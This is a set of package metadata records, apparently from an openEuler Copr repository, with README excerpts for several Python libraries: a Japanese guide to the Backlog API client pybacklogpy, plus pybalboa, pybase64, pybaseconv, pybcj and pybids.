  - API キー: `qwertyuiopasdfghjklzxcvbnmqazwsxedcrfvtgbyhnujmikolp`

  コードは次のようになります。

  ```python
  from pybacklogpy.BacklogConfigure import BacklogComConfigure
  from pybacklogpy.Issue import Issue


  config = BacklogComConfigure(space_key='kitadakyou',
                               api_key='qwertyuiopasdfghjklzxcvbnmqazwsxedcrfvtgbyhnujmikolp')


  issue_api = Issue(config)  # API を呼ぶクラスのコンストラクタ引数として Configure クラスのインスタンスは使用可能
  response = issue_api.get_issue_list()


  ```



  使用するプロジェクトの直下に `secrets` というファイルを作り、以下のように値を入れておいてください。
  なお、当プロジェクト直下にある `secrets_sample` をコピーすると楽です。

  なお、このファイルは誤ってリポジトリにあげないよう、 `.gitignore` に追加しておくことを推奨します

  ```ini
  [backlog]
  Host = kitadakyou.backlog.com
  ApiKey = qwertyuiopasdfghjklzxcvbnmqazwsxedcrfvtgbyhnujmikolp
  ```

  `secrets` を指定した場合、先ほどの例で使用した configure クラスは省略して、以下のように書くことが出来ます

  ```python
  from pybacklogpy.Issue import Issue


  issue_api_2 = Issue()  # Configure クラスを渡さなかった場合は、設定ファイルの情報を読みに行く
  response_2 = issue_api_2.get_issue_list()

  ```

  なお、 `configure` クラスを渡さず、 `secrets` も設置していない場合は実行エラーとなります。



  使用するモジュールをロードします。
  それぞれはクラスになっているので、そのインスタンスを生成します。

  例として、Wiki の API を呼びたいと考えます。

  ```python:sample.py
  from pybacklogpy.Wiki import Wiki


  wiki_api = Wiki()

  ```



  どのような API があるかは [PyBacklogPy のドキュメント](https://kitadakyou.github.io/PyBacklogPy/)、もしくは [BacklogAPI のドキュメント](https://developer.nulab.com/ja/docs/backlog/)を参照してください。
  また、プロジェクトID や Wiki ID 等の調べ方は…ググればすぐに出てきます

  Wiki を追加するサンプル

  ```python:sample3.py
  from pybacklogpy.Wiki import Wiki


  wiki_api = Wiki()


  response = wiki_api.add_wiki_page(
      project_id=1000,
      name='SampleWikiName',
      content='サンプル Wiki 本文',
      mail_notify=False,
  )

  ```

  Wiki を更新するサンプル

  ```python:sample3.py
  from pybacklogpy.Wiki import Wiki


  wiki_api = Wiki()


  response = wiki_api.update_wiki_page(
      wiki_id=12345,
      name='TestWikiName',
      content='テスト 本文',
      mail_notify=False,
  )

  ```



  全ての関数は [request](https://requests-docs-ja.readthedocs.io/en/latest/) の [レスポンスオブジェクト](https://requests-docs-ja.readthedocs.io/en/latest/user/quickstart/#id3) を返します。

  リクエストが成功しているかを確認するには、 `response.ok` を見るのが１番早いです。

  Wiki の更新が成功しているか確認するサンプル

  ```python:sample4.py
  from pybacklogpy.Wiki import Wiki


  wiki_api = Wiki()


  response = wiki_api.update_wiki_page(
      wiki_id=12345,
      name='TestWikiName',
      content='テスト 本文',
      mail_notify=False,
  )
  if not response.ok:
      raise ValueError('Wiki の更新に失敗')

  ```

  また、レスポンス本文は `response.text` の中身に生(=テキストの)の JSON が入っています。標準ライブラリ `json` を使って parse してあげれば、簡単に使えます。

  Wiki の内容を取得するサンプル

  ```python:sample5.py
  import json


  from pybacklogpy.Wiki import Wiki


  wiki_api = Wiki()


  response = wiki_api.get_wiki_page(
      wiki_id=12345,
  )

  if not response.ok:
      raise ValueError('Wiki ページ情報の取得に失敗')

  wiki_data = json.loads(response.text)
  wiki_name = wiki_data['name']
  wiki_content = wiki_data['content']

  ```



  ファイル取得については、特殊な返り値のため、別途こちらで説明します。

  ファイルを取得する関数を使用する場合は、まずディレクトリを作成する必要があります。
  デフォルトではプロジェクト直下の `/tmp` ディレクトリにファイルがダウンロードされます。(今の所、変更不可💦)

  ファイルを取得する関数は「1番目がファイルのPATH」、「2番目がレスポンスオブジェクト」のタプルを返します。
  そのため、一度に受け取るには、以下のように返り値を受け取る変数を2つ用意する必要があります。

  ```python:sample3.py
  from pybacklogpy.Wiki import Wiki


  wiki_api = Wiki()


  downloaded_file_path, response = self.wiki_attachment.get_wiki_page_attachment(
      wiki_id=12345,
      attachment_id=987654,
  )
  print(downloaded_file_path)
  ```



  自由にブランチを切って、 PullRequest を出してください。Issue を上げるだけでも大丈夫です。
  一週間に一回くらいは見るようにするので、対応出来たら対応します。(全て対応するとは言っていない)

  もし、PR出しても全くリアクションがない場合は Twitter の [kitadakyou](https://twitter.com/kitadakyou) 、若しくは<a href='mailto:kitadakyou@gmail.com'>作者のメール</a>宛にご連絡ください。



  `PyBacklog` も `BacklogPy` も既に存在したので、苦肉の策で Py で挟みました。
  もし、`PyBacklogPy` も存在したら、 `PyBacklogXPyBacklog` という HUNTER×HUNTER 方式で行こうと考えていました。


pkgId: 8bb4d72e9b43f139a11469466b102f04d211adcb9f3bb2e71c53c40050b963f2
name: python-pybalboa
arch: src
version: 1.0.1
epoch: 0
release: 1
summary: Module to communicate with a Balboa spa wifi adapter.
url: https://github.com/garbled1/pybalboa
rpm_license: Apache 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-92cbba78-a75a-48be-bc58-882d59188c9f
location_href: 00004638-python-pybalboa/python-pybalboa-1.0.1-1.src.rpm
checksum_type: sha256
description:
  Python Module to interface with a balboa spa
  Requires Python 3 with asyncio.
  To Install::
    pip install pybalboa
  To test::
    python3 pybalboa <ip-of-spa-wifi> <debug-flag>
  To Use
  ``````
  See ``__main__.py`` for usage examples.
  Minimal example::
    import asyncio
    import pybalboa
    async with pybalboa.SpaClient(spa_host) as spa:
      
    return
  Related
  ```````
  - https://github.com/ccutrer/balboa_worldwide_app/wiki - invaluable wiki for Balboa module protocol


pkgId: 382e91ddd1da8ef81fa10d8ed2e3f2cab32cd4f7b120e8b8128b12df5e21424b
name: python-pybase64
arch: src
version: 1.2.3
epoch: 0
release: 1
summary: Fast Base64 encoding/decoding
url: https://github.com/mayeut/pybase64
rpm_license: BSD-2-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-cfe83371-2e67-40f4-9102-c5df4b1519e2
location_href: 00010831-python-pybase64/python-pybase64-1.2.3-1.src.rpm
checksum_type: sha256
description:
  |license-status| |pypi-status| |python-versions| |rtd-status| |gha-status| |codecov-status|
  This project is a wrapper on `libbase64 <https://github.com/aklomp/base64>`_.
  It aims to provide a fast base64 implementation for base64 encoding/decoding.


pkgId: 57e514e2d289edee4354c6c5135705059d3ab01ac2eb552bba1d7f94a4aaf319
name: python-pybase64-debuginfo
arch: aarch64
version: 1.2.3
epoch: 0
release: 1
summary: Debug information for package python-pybase64
url: https://github.com/mayeut/pybase64
rpm_license: BSD-2-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-cfe83371-2e67-40f4-9102-c5df4b1519e2
rpm_sourcerpm: python-pybase64-1.2.3-1.src.rpm
location_href: 00010831-python-pybase64/python-pybase64-debuginfo-1.2.3-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pybase64.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: 2d21802d77586c09ae16c7f4b987d4b4a82badd1e5ca85d84af6578cf399bc06
name: python-pybase64-debugsource
arch: aarch64
version: 1.2.3
epoch: 0
release: 1
summary: Debug sources for package python-pybase64
url: https://github.com/mayeut/pybase64
rpm_license: BSD-2-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-cfe83371-2e67-40f4-9102-c5df4b1519e2
rpm_sourcerpm: python-pybase64-1.2.3-1.src.rpm
location_href: 00010831-python-pybase64/python-pybase64-debugsource-1.2.3-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pybase64.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: 00a64d65926fea1a916aca38618ceabac7ee64fcb3215c094391de1992ff54e4
name: python-pybaseconv
arch: src
version: 0.0.1
epoch: 0
release: 1
summary: This library allows you to convert a number from any base to any base
url: https://pypi.org/project/pybaseconv/
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6b795726-9bf0-4287-9522-45841fcdaea6
location_href: 00011286-python-pybaseconv/python-pybaseconv-0.0.1-1.src.rpm
checksum_type: sha256
description:
  [![Build Status](https://travis-ci.com/El-Sam/pybaseconv.svg?branch=master)](https://travis-ci.com/El-Sam/pybaseconv)

  **pybaseconv** is a library that allows you to convert any large number (no fractions) from any base to any other base, thus freedom to choose source and/or destination bases.

  There are 5 predefined bases that are supported by **pybaseconv**, which are:

  * `DEC` : the decimal base  `"0123456789"`.
  * `BIN` : the binary base `"01"`.
  * `OCT` : the octal base `"01234567"`.
  * `HEX` : the hexadecimal base `"0123456789abcdef"`.
  * `FLICKER_BASE_58` & `BITCOIN_BASE_58`: two variations of the **Base58** encoding, more info [here](https://en.wikipedia.org/wiki/Base58).



  ```python
  from pybaseconv import Converter, BASE

  dec2hex_converter = Converter(BASE.DEC, BASE.HEX)
  print(dec2hex_converter.convert('738653'))  # returns b455d

  dec2bitcoin_converter = Converter(BASE.DEC, BASE.BITCOIN_BASE_58)
  print(dec2bitcoin_converter.convert('292251'))  # returns 2Vsp

  dec2custom_base_converter = Converter(BASE.DEC, '*&@#$')
  print(dec2custom_base_converter.convert('539'))  # returns $&@$

  bin2dec_converter = Converter(BASE.BIN, BASE.DEC)
  print(bin2dec_converter.convert('11112'))  # raises exception because 11112 is not a binary number

  ```

  *PS*: when using custom bases, make sure that the digits are sorted from smallest to the largest, in order to get the appropriate conversion.


pkgId: 490c18a7e8af7ab89e71da0bd864a45a36619cea40f8d31fb178202524bad12f
name: python-pybcj-debuginfo
arch: aarch64
version: 1.0.1
epoch: 0
release: 1
summary: Debug information for package python-pybcj
url: http://codeberg.org/miurahr/pybcj
rpm_license: LGPL-2.1-or-later
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-842ad917-38b6-4da7-8dfd-fcb44714954a
rpm_sourcerpm: python-pybcj-1.0.1-1.src.rpm
location_href: 00010858-python-pybcj/python-pybcj-debuginfo-1.0.1-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pybcj.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: 0e72666578a9fd9c5e911a6ec6279f384ed4368f677488074f9bc4853faa0b3a
name: python-pybcj-debugsource
arch: aarch64
version: 1.0.1
epoch: 0
release: 1
summary: Debug sources for package python-pybcj
url: http://codeberg.org/miurahr/pybcj
rpm_license: LGPL-2.1-or-later
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-842ad917-38b6-4da7-8dfd-fcb44714954a
rpm_sourcerpm: python-pybcj-1.0.1-1.src.rpm
location_href: 00010858-python-pybcj/python-pybcj-debugsource-1.0.1-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pybcj.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: db308ba04a91f151ab0869f4c35b3a4fe599b3b17b3fe8e7c1b522ab1ba548c7
name: python-pybids
arch: src
version: 0.15.6
epoch: 0
release: 1
summary: bids: interface with datasets conforming to BIDS
url: http://github.com/bids-standard/pybids
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-bbfd9ec2-8bf5-4c03-bafd-9af99731ec99
location_href: 00004639-python-pybids/python-pybids-0.15.6-1.src.rpm
checksum_type: sha256
description:
  [![DOI](https://joss.theoj.org/papers/10.21105/joss.01294/status.svg)](https://doi.org/10.21105/joss.01294)
  [![DOI](https://zenodo.org/badge/DOI/10.5281/zenodo.2537312.svg)](https://doi.org/10.5281/zenodo.2537312)

  [![Build Status (Linux and OS X)](https://travis-ci.org/bids-standard/pybids.svg?branch=master)](https://travis-ci.org/bids-standard/pybids)<!---[![Build Status (Windows)](https://ci.appveyor.com/api/projects/status/5aa4c6e3m15ew4v7?svg=true)](https://ci.appveyor.com/project/chrisfilo/pybids-ilb80)-->
  [![Binder](https://mybinder.org/badge.svg)](https://mybinder.org/v2/gh/bids-standard/pybids/master)
  [![PyPI version](https://badge.fury.io/py/pybids.svg)](https://badge.fury.io/py/pybids)
  [![Conda version](https://img.shields.io/conda/vn/conda-forge/pybids)](https://anaconda.org/conda-forge/pybids)

  PyBIDS is a Python library to centralize interactions with datasets conforming
  BIDS (Brain Imaging Data Structure) format.  For more information about BIDS
  visit http://bids.neuroimaging.io.

  PyBIDS currently supports Python 3 on POSIX operating systems (including Mac OS).  Windows is not officially supported, though most PyBIDS functionality will probably work fine.


  PyBIDS is most easily installed from pip. To install the latest official release:

  > pip install pybids

  Or, alternatively via conda:

  > conda install -c conda-forge pybids

  If you want to live on the bleeding edge, you can install from master:

  > pip install git+https://github.com/bids-standard/pybids.git


  PyBIDS has a number of dependencies. The core querying functionality requires only the `BIDS-Validator` package. However, most other modules require the core Python neuroimaging stack: `numpy`, `scipy`, `pandas`, and `nibabel`. The `reports` module additionally requires `num2words`. By default, all dependencies will be installed with pybids (if they aren't already available).


  Get started by checking out [the documentation](https://bids-standard.github.io/pybids)!

  Or you can start at [our tutorial](https://bids-standard.github.io/pybids/examples/pybids_tutorial.html)! You can run it interactively without installing anything via [binder](https://mybinder.org/v2/gh/bids-standard/pybids/master). Click on the link and then navigate to `doc/examples/pybids_tutorial.md` to explore.


  To credit PyBIDS in your work, please cite both the [JOSS paper](https://joss.theoj.org/papers/10.21105/joss.01294) and the [Zenodo archive](https://zenodo.org/record/3363985). The former provides a high level description of the package, and the latter points to a permanent record of all PyBIDS versions (we encourage you to cite the specific version you used). Example citations (for PyBIDS 0.9.3):

  Yarkoni et al., (2019). PyBIDS: Python tools for BIDS datasets. Journal of Open Source Software, 4(40), 1294, https://doi.org/10.21105/joss.01294

  Yarkoni, Tal, Markiewicz, Christopher J., de la Vega, Alejandro, Gorgolewski, Krzysztof J., Halchenko, Yaroslav O., Salo, Taylor, … Blair, Ross. (2019, August 8). bids-standard/pybids: 0.9.3 (Version 0.9.3). Zenodo. http://doi.org/10.5281/zenodo.3363985


  Bug reports, feedback, and other contributions to PyBIDS are welcome. To report a bug, request a feature, or raise a technical (non-usage-related) question for discussion, please [open an issue on GitHub](https://github.com/bids-standard/pybids/issues). Requests for support and questions about usage (where no bug is suspected) should be posted on the [NeuroStars](https://neurostars.org) forum. For questions about the [BIDS specification](https://github.com/bids-standard/bids-specification) or [BIDS-Validator](https://github.com/bids-standard/bids-validator), please see the corresponding repositories. For general BIDS-related discussion, see the [bids-discussion](https://groups.google.com/forum/#!forum/bids-discussion) mailing list.

  Pull requests are always welcome. If you have any doubts about the suitability of a PR, or want to discuss implementation-related issues, feel free to open an issue for discussion.

rpm_license:
  The MIT License (MIT)  Copyright (c) 2015-2016, Ariel Rokem, The University of Washington eScience Institute. Copyright (c) 2016--, PyBIDS developers, Planet Earth  Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:  The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


